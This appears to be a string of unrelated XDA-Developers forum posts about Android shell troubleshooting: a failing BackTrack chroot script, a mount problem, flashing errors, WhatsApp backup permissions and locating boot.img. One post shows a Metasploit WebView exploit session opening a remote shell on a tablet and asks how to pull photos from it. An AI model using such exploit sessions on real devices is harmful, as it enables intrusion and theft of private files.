Hello XDA-Developers!
I want to install Back Track 5 ARM in my AllWinner A10 based tablet, I followed the lesson for Galaxy and I downloaded the boot script for Galaxy and the bt5.img(3.25G). I changed some of the codes to launch BT5 in external sdcard and suit my ROM,then launched it, only to find some errors. Well, the source code of the boot script(modified by myself to suit my device) like this:
perm=$(id|busybox cut -b 5)
if [ "$perm" != "0" ];then echo "This Script Needs Root! Type : su";exit;fi
mount -o remount,rw /dev/block/mmcblk0p1 /system
export kit=/mnt/extsd/BT5
export bin=/system/bin
export mnt=/mnt
mkdir -p $mnt
export PATH=$bin:/usr/bin:/usr/local/bin:/usr/sbin:/bin:/usr/local/sbin:/usr/games:$PATH
export TERM=linux
export HOME=/
if [ -b /dev/loop2 ]; then
echo "Loop device exists"
else
busybox mknod /dev/loop2 b 7 0
fi
busybox mount -o loop,noatime -t extsd $kit/bt5.img $mnt
busybox mount --bind /dev/pts $mnt/dev/pts
busybox mount --bind /proc $mnt/proc
busybox mount --bind /sys $mnt/sys
busybox sysctl -w net.ipv4.ip_forward=1
echo "nameserver 8.8.8.8" > $/etc/resolv.conf
echo "127.0.0.1 localhost bt5" > $/etc/hosts
busybox chroot $/bin/bash
echo "Shutting down BackTrack ARM For Xoom"
umount $/dev/pts
umount $/proc
umount $/sys
umount $mnt
when I launch the script(bootbtV) in Terminal Emulator, only to find some errors like this:
[email protected]:/ $ su
[email protected]:/ # cd mnt/extsd/BT5
[email protected]:/mnt/extsd/BT5 # sh bootbtV
Loop device exists
mount: mounting /dev/loop8 on /mnt failed: No such device
mount: mounting /dev/pts on /mnt/dev/pts failed: No such file or directory
mount: mounting /proc on /mnt/proc failed: No such file or directory
mount: mounting /sys on /mnt/sys failed: No such file or directory
net.ipv4.ip_forward = 1
bootbtV[23]: can't create $/etc/resolv.conf: No such file or directory
bootbtV[24]: can't create $/etc/hosts: No such file or directory
chroot: can't change root directory to $/bin/bash: No such file or directory
Shutting down BackTrack ARM For Xoom
failed: No such file or directory
failed: No such file or directory
failed: No such file or directory
failed: Invalid argument
1|[email protected]:/mnt/extsd/BT5 #
Well, In my opinion, according to the errors "No such file or directory", I think it is the difference between my device and Galaxy that causes the errors. In my device, the file structure is different from what the boot script means, such is the file structure of my device's root directory:
drwxr-xr-x root root 2013-01-16 11:22 acct
drwxrwx--- system cache 2013-01-16 09:51 cache
dr-x------ root root 2013-01-16 11:22 config
lrwxrwxrwx root root 2013-01-16 11:22 d -> /sys/kernel/debug
drwxrwx--x system system 2013-01-13 17:14 data
-rw-r--r-- root root 116 1970-01-01 08:00 default.prop
drwxr-xr-x root root 2013-01-16 11:27 dev
lrwxrwxrwx root root 2013-01-16 11:22 etc -> /system/etc
-rwxr-x--- root root 105268 1970-01-01 08:00 init
-rwxr-x--- root root 2344 1970-01-01 08:00 init.goldfish.rc
-rwxr-x--- root root 19030 1970-01-01 08:00 init.rc
-rwxr-x--- root root 2644 1970-01-01 08:00 init.sun4i.rc
-rwxr-x--- root root 2230 1970-01-01 08:00 init.sun4i.usb.rc
-rwxr-x--- root root 1637 1970-01-01 08:00 init.trace.rc
-rwxr-x--- root root 3915 1970-01-01 08:00 init.usb.rc
-rwxr-x--- root root 1536000 1970-01-01 08:00 initlogo.rle
drwxrwxr-x root system 2013-01-16 11:22 mnt
-rw-r--r-- root root 782728 1970-01-01 08:00 nand.ko
dr-xr-xr-x root root 1970-01-01 08:00 proc
drwx------ root root 2012-10-11 13:57 root
drwxr-x--- root root 1970-01-01 08:00 sbin
lrwxrwxrwx root root 2013-01-16 11:22 sdcard -> /mnt/sdcard
drwxr-xr-x root root 2013-01-16 11:22 sys
drwxr-xr-x root root 2013-01-13 17:59 system
-rw-r--r-- root root 272 1970-01-01 08:00 ueventd.goldfish.rc
-rw-r--r-- root root 3879 1970-01-01 08:00 ueventd.rc
-rw-r--r-- root root 1313 1970-01-01 08:00 ueventd.sun4i.rc
lrwxrwxrwx root root 2013-01-16 11:22 vendor -> /system/vendor
I think, the only way to launch BT5 in my device successfully is to modify the boot script so that it can suit my device, especially the file structure. But I am a green hand in Linux, I don't know what does some of the codes mean, if you are good at Linux script, would you please give me some advice?
Thank you very much!
Related
Hi,
I use KALI Linux and an Android 4.1.2 Tablet for my test. I want to install an App like this:
drops.wooyun.org/papers/548
At Kali Linux i use the exploit webview_addjavascriptinterface and get a response from my tablet (same WLAN).
msf exploit(webview_addjavascriptinterface) > [*] 192.168.178.23 webview_addjavascriptinterface - Gathering target information.
[*] 192.168.178.23 webview_addjavascriptinterface - Sending response HTML.
[*] 192.168.178.23 webview_addjavascriptinterface - Serving exploit HTML
[*] Command shell session 1 opened (192.168.178.39:35534 -> 192.168.178.23:8080) at 2014-05-16 11:27:41 +0000
msf exploit(webview_addjavascriptinterface) > sessions -i 1
[*] Starting interaction with 1...
export PATH=/system/bin:$PATH
ls -al
drwxr-xr-x root root 2014-05-15 16:56 acct
-rw-r--r-- root root 332 2014-05-15 16:56 boot.txt
drwxrwx--x system cache 2014-05-10 09:22 cache
dr-x------ root root 2014-05-15 16:56 config
lrwxrwxrwx root root 2014-05-15 16:56 d -> /sys/kernel/debug
drwxrwx--x system system 2014-05-12 09:41 data
-rw-r--r-- root root 129 2014-05-15 16:56 default.prop
drwxr-xr-x root root 2014-05-15 17:12 dev
drwxr-xr-x radio radio 2014-05-09 13:55 efs
lrwxrwxrwx root root 2014-05-15 16:56 emmc -> /storage/sdcard1
lrwxrwxrwx root root 2014-05-15 16:56 etc -> /system/etc
-rwxr-x--- root root 105292 2014-05-15 16:56 init
-rwxr-x--- root root 1107 2014-05-15 16:56 init.cm.rc
-rwxr-x--- root root 2344 2014-05-15 16:56 init.goldfish.rc
-rwxr-x--- root root 5171 2014-05-15 16:56 init.p1-common.rc
-rwxr-x--- root root 5389 2014-05-15 16:56 init.p1.rc
-rwxr-x--- root root 936 2014-05-15 16:56 init.p1.usb.rc
-rwxr-x--- root root 17862 2014-05-15 16:56 init.rc
-rwxr-x--- root root 1637 2014-05-15 16:56 init.trace.rc
-rwxr-x--- root root 3915 2014-05-15 16:56 init.usb.rc
-rw-r--r-- root root 1664 2014-05-15 16:56 lpm.rc
drwxrwxr-x root system 2014-05-15 16:56 mnt
dr-xr-xr-x root root 1970-01-01 00:00 proc
drwxr-xr-x root root 2014-05-09 13:55 radio
drwxr-x--- root root 2014-05-15 16:56 sbin
lrwxrwxrwx root root 2014-05-15 16:56 sdcard -> /storage/sdcard0
d---r-x--- system sdcard_r 2014-05-15 16:56 storage
drwxr-xr-x root root 2014-05-15 16:56 sys
drwxr-xr-x root root 2014-05-09 13:56 system
-rw-r--r-- root root 272 2014-05-15 16:56 ueventd.goldfish.rc
-rw-r--r-- root root 2035 2014-05-15 16:56 ueventd.p1.rc
-rw-r--r-- root root 5075 2014-05-15 16:56 ueventd.rc
lrwxrwxrwx root root 2014-05-15 16:56 vendor -> /system/vendor
I want to copy some pictures to my KALI system but there is the problem:
dd if=/sdcard/DCIM/Camera of=/dev/sdc bs=1M
/dev/sdc: cannot open for write: Permission denied
Or i want to run adb (no device!)
adb devices
* daemon not running. starting it now on port 5038 *
* daemon started successfully *
List of devices attached
Can someone help or explain me how to do this?
Best regards
Hi all,
I'm just hacking at my rk3188 box, and trying to get XBMC to read my ext4 external hard drive.
However when the hard drive is mounted, XBMC only sees an empty directory!
Also, in the terminal, "su'ing" as an app user, the directory appears empty also.
This worked perfectly with android 4.2, 4.4 seems be more troublesome.
Code:
[email protected]_872xu:/ # ls -ailrt /mnt/usb_storage/usb/
3222 dr-xr-xr-x 3 media 1023 60 Sep 9 11:32 ..
10959 -rw-rw-rw- 1 root root 0 Sep 9 11:35 testing
8841 drwxrwxrwx 2 media root 60 Sep 9 14:18 .
[email protected]_872xu:/ # mount -t ext4 /dev/block/sda1 /mnt/usb_storage/usb
[email protected]_872xu:/ # ls -l /mnt/usb_storage/usb/backup/
-rwxrwxr-x 1 root root 2147483648 Sep 9 11:20 arch.img
drwxrwxrwx 2 root root 4096 Sep 7 17:30 init.d
[email protected]_872xu:/ # su - app_65
[email protected]_872xu:/ $ ls -l /mnt/usb_storage/usb/backup/
/mnt/usb_storage/usb/backup/: No such file or directory
1|[email protected]_872xu:/ $ ls -l /mnt/usb_storage/usb
-rw-rw-rw- root root 0 2014-09-09 11:35 testing
dmarkey said:
Hi all,
I'm just hacking at my rk3188 box, and trying to get XBMC to read my ext4 external hard drive.
However when the hard drive is mounted, XBMC only sees an empty directory!
Also, in the terminal, "su'ing" as an app user, the directory appears empty also.
This worked perfectly with android 4.2, 4.4 seems be more troublesome.
Code:
[email protected]_872xu:/ # ls -ailrt /mnt/usb_storage/usb/
3222 dr-xr-xr-x 3 media 1023 60 Sep 9 11:32 ..
10959 -rw-rw-rw- 1 root root 0 Sep 9 11:35 testing
8841 drwxrwxrwx 2 media root 60 Sep 9 14:18 .
[email protected]_872xu:/ # mount -t ext4 /dev/block/sda1 /mnt/usb_storage/usb
[email protected]_872xu:/ # ls -l /mnt/usb_storage/usb/backup/
-rwxrwxr-x 1 root root 2147483648 Sep 9 11:20 arch.img
drwxrwxrwx 2 root root 4096 Sep 7 17:30 init.d
[email protected]_872xu:/ # su - app_65
[email protected]_872xu:/ $ ls -l /mnt/usb_storage/usb/backup/
/mnt/usb_storage/usb/backup/: No such file or directory
1|[email protected]_872xu:/ $ ls -l /mnt/usb_storage/usb
-rw-rw-rw- root root 0 2014-09-09 11:35 testing
Click to expand...
Click to collapse
No ideas?
Hi, someone else get this problem?
my galaxy p7500 have a peculiar problem.
it boots and works, but when i install some app or unnistal, create/delete file or do a factory reset.
all back to the old defect state, like this tab gets frozen in time.
So, i try to use odin, and then:
use the files:
P7500_P7510_android_fastboot_emmc_full_p4_16G_32G.pit
and
stock rom P7500ZTOLP4_P7500UBLP9_P7500UBLP3_HOME.tar
but when I put to flash, it goes and fail, this is what show on the tab: pls see the pics
I think I have a permissions trouble.
The tablet is working for about 10 minutes, then stop, if i check the volume space the tab freeze.
so... I'm using adb from recovery, and acessing tab's shell.
If I use : ll -a
shows->
drwxr-xr-x root root 2015-08-02 15:23 cache
drwxr-xr-x root root 1970-01-01 00:00 data
-rw-r--r-- root root 2302 1970-01-01 00:00 default.prop
drwxr-xr-x root root 2015-08-02 15:23 dev
drwxr-xr-x root root 2015-08-02 15:23 efs
drwxr-xr-x root root 1970-01-01 00:00 etc
-rwxr-x--- root root 148088 1970-01-01 00:00 init
-rwxr-x--- root root 1431 1970-01-01 00:00 init.rc
drwxr-xr-x root root 1970-01-01 00:00 lib
-rw-r--r-- root root 1861 1970-01-01 00:00 lpm.rc
drwxr-xr-x root root 2015-08-02 15:23 preload
dr-xr-xr-x root root 1970-01-01 00:00 proc
drwxr-xr-x root root 1970-01-01 00:00 res
drwx------ root root 2012-10-15 13:06 root
drwxr-x--- root root 1970-01-01 00:00 sbin
drwxr-xr-x root root 2015-08-02 15:23 sdcard
drwxr-xr-x root root 2015-08-02 15:23 sdcard1
drwxr-xr-x root root 2015-08-02 15:23 sys
drwxr-xr-x root root 2014-02-10 03:52 system
drwxr-xr-x root root 2015-08-02 15:23 tmp
-rw-r--r-- root root 272 1970-01-01 00:00 ueventd.goldfish.rc
-rw-r--r-- root root 1276 1970-01-01 00:00 ueventd.p3.rc
-rw-r--r-- root root 3825 1970-01-01 00:00 ueventd.rc
I tried to usb adb sideload too, but this apear not working, it keep loading: 'update.zip"
The odin gets btc_sync error, nvflash 0x04 error,
someone know what can I do??
i got this using dmesg, someone can bring some light?
3>[ 3.342022] init: [disk_config] ext_check -> /system/bin/e2fsck -v -y /dev/block/platform/sdhci-tegra.3/by-num/p5
<3>[ 3.469928] init: [disk_config] Error ::execute :: Error in (Status 8)
<3>[ 3.470261] init: [disk_config] Error ::* failed to check -1
<6>[ 3.492495] EXT4-fs (mmcblk0p5): recovery complete
<6>[ 3.494914] EXT4-fs (mmcblk0p5): mounted filesystem with writeback data mode. Opts: journal_async_commit,data=writeback,nodelalloc,errors=panic
<3>[ 3.496302] init: Device Encryption status is (0)!!
<3>[ 3.496402] init: [disk_config] :::: fsck -> /dev/block/platform/sdhci-tegra.3/by-num/p8 (ext4):::::
<3>[ 3.496764] init: [disk_config] ext_check -> /system/bin/e2fsck -v -y /dev/block/platform/sdhci-tegra.3/by-num/p8
<3>[ 6.611433] init: [disk_config] Error ::execute :: Error in (Status 8)
<3>[ 6.611779] init: [disk_config] Error ::* failed to check -1
As I mentioned in another thread, I am struggling to get my whatsapp chats from my phone, which I am afraid has something corrupted.
I made many attempts to fix whatsapp backups before resetting completely my phone (which of course is rooted) and installing a clean CyanogenMod, but without success. Anyway, the final summary is the following:
If I try to run the backup from whatsapp, I get a message saying "message backup impossible" (in Italian, so I cannot really tell which would be the English message)
In /data/data/com.whatsapp/files/Logs/whatsapp.log I get a message like the following: "java.io.FileNotFoundException: /storage/emulated/0/WhatsApp/.Shared/6y+pX-uxTsEsmXkUyvruzeZYE53m3KqVBYmnWWvvbjM=.tmp: open failed: EACCES (Permission denied)"
So I checked what was the userid associated to whatsapp:
Code:
# grep com.whatsapp /data/system/packages.list
com.whatsapp 10221 0 /data/data/com.whatsapp default 3002,3003,1028,1015,1023
Userid 10221 should be associated with username u0_a221, and this appears to be actually the case:
Code:
# ls -l /data/data/ | grep com.whatsapp
drwxr-x--x u0_a221 u0_a221 2016-01-04 18:05 com.whatsapp
So I su'ed to this user and tried to get into the Whatsapp backup directory, without success:
Code:
# su u0_a221
[email protected]:/ $ ls /storage/emulated/0/Android
/storage/emulated/0/Android: Permission denied
[email protected]:/ $ ls /storage
opendir failed, Permission denied
All the directories in the path are owned by root.sdcard_r, as I think they should:
Code:
[email protected]:/ # ls -l / | grep storage
lrwxrwxrwx root root 2014-01-01 11:09 sdcard -> /storage/emulated/legacy
drwxr-x--x root sdcard_r 2014-01-01 11:09 storage
[email protected]:/ # ls -l /storage | grep emulated
d---r-x--- root sdcard_r 2016-01-04 18:06 emulated
lrwxrwxrwx root root 2014-01-01 11:09 sdcard0 -> /storage/emulated/legacy
[email protected]:/ # ls -l /storage/emulated
drwxrwx--x root sdcard_r 2015-12-20 00:33 0
drwxrwx--x root sdcard_r 2015-12-20 00:33 legacy
[email protected]:/ # ls -l /storage/emulated/0 | grep Android
drwxrwx--x root sdcard_r 2015-01-25 22:48 Android
My conclusion, therefore, is that the user u0_a221 does not belong to the group sdcard_r; but I don't know how to check this. I know that Android does not have /etc/passwd and /etc/group, and I read that it stores this information in a database, but I wasn't able to find out exactly which database, and I am not sure that I can modify it. So... where do I find this data, and can I modify it?
Hi, i'm Andrea, I'm 19, Computer Engineer's student.
The device is rooted and it has TWRP.
I made a backup of the original ROM (4.4.2) but i don't know how to get boot.img from the phone.
This is the Block Info from MTK Droid Root.
Code:
postimg(.org)/image/hrlwdklq9/ I'm under 10 post, so i can't post links
I tried with adb shell:
Code:
adb shell
[email protected]:/ # ls -l /dev/block/platform/
ls -l /dev/block/platform/
drwxr-xr-x root root 2010-01-04 10:09 mtk-msdc.0
[email protected]:/ # ls -l /dev/block/platform/mtk-msdc.0/by-num
ls -l /dev/block/platform/mtk-msdc.0/by-num
lrwxrwxrwx root root 2010-01-04 10:09 p1 -> /dev/block/mmcblk0p1
lrwxrwxrwx root root 2010-01-04 10:09 p2 -> /dev/block/mmcblk0p2
lrwxrwxrwx root root 2010-01-04 10:09 p3 -> /dev/block/mmcblk0p3
lrwxrwxrwx root root 2010-01-04 10:09 p4 -> /dev/block/mmcblk0p4
lrwxrwxrwx root root 2010-01-04 10:09 p5 -> /dev/block/mmcblk0p5
lrwxrwxrwx root root 2010-01-04 10:09 p6 -> /dev/block/mmcblk0p6
lrwxrwxrwx root root 2010-01-04 10:09 p7 -> /dev/block/mmcblk0p7
Now, which is the boot.img?